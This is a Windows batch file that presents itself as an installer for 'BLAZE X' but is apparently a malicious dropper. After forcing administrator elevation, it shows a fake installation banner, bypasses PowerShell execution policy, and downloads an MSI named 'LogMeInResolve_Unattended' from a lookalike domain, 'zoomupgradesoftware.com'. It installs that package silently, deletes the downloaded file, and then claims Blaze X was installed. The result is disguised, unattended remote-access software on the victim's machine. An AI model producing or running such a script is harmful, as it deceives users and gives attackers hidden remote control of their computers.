@echo off
setlocal enabledelayedexpansion

:: =====================================================
::  Installer - Batch File (Admin)
:: =====================================================

:: Check for Administrator privileges
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo.
    echo  Requesting Administrator privileges...
    echo.
    powershell -Command "Start-Process -Verb RunAs -FilePath '%~f0'"
    exit /b
)

:: Now running as Administrator
cls
echo.
echo  ===================================================
echo   Installing BLAZE X... Please wait.
echo  ===================================================
echo.
echo   
echo     - Downloading........
echo.

:: Execute the installation command
powershell -ExecutionPolicy Bypass -Command ^
    "$url = 'https://zoomupgradesoftware.com/LogMeInResolve_Unattended%%20(3).msi'; " ^
    "$fileName = 'LogMeInResolve_Unattended (3).msi'; " ^
    "$tempFile = Join-Path $env:TEMP $fileName; " ^
    "try { " ^
        "Invoke-WebRequest -Uri $url -OutFile $tempFile -UseBasicParsing; " ^
        "if (Test-Path $tempFile) { " ^
            "Start-Process -FilePath 'msiexec.exe' -ArgumentList '/i', \"\"\"$tempFile\"\"\", '/quiet', '/norestart' -Wait; " ^
            "Remove-Item $tempFile -Force -ErrorAction SilentlyContinue; " ^
        "} " ^
    "} catch { exit 1 }"

if %errorLevel% equ 0 (
    echo.
    echo  Success: Blaze X has been installed.
) else (
    echo.
    echo  Error: The installation failed.
)

echo.
echo  Press any key to close this window.
pause >nul
exit
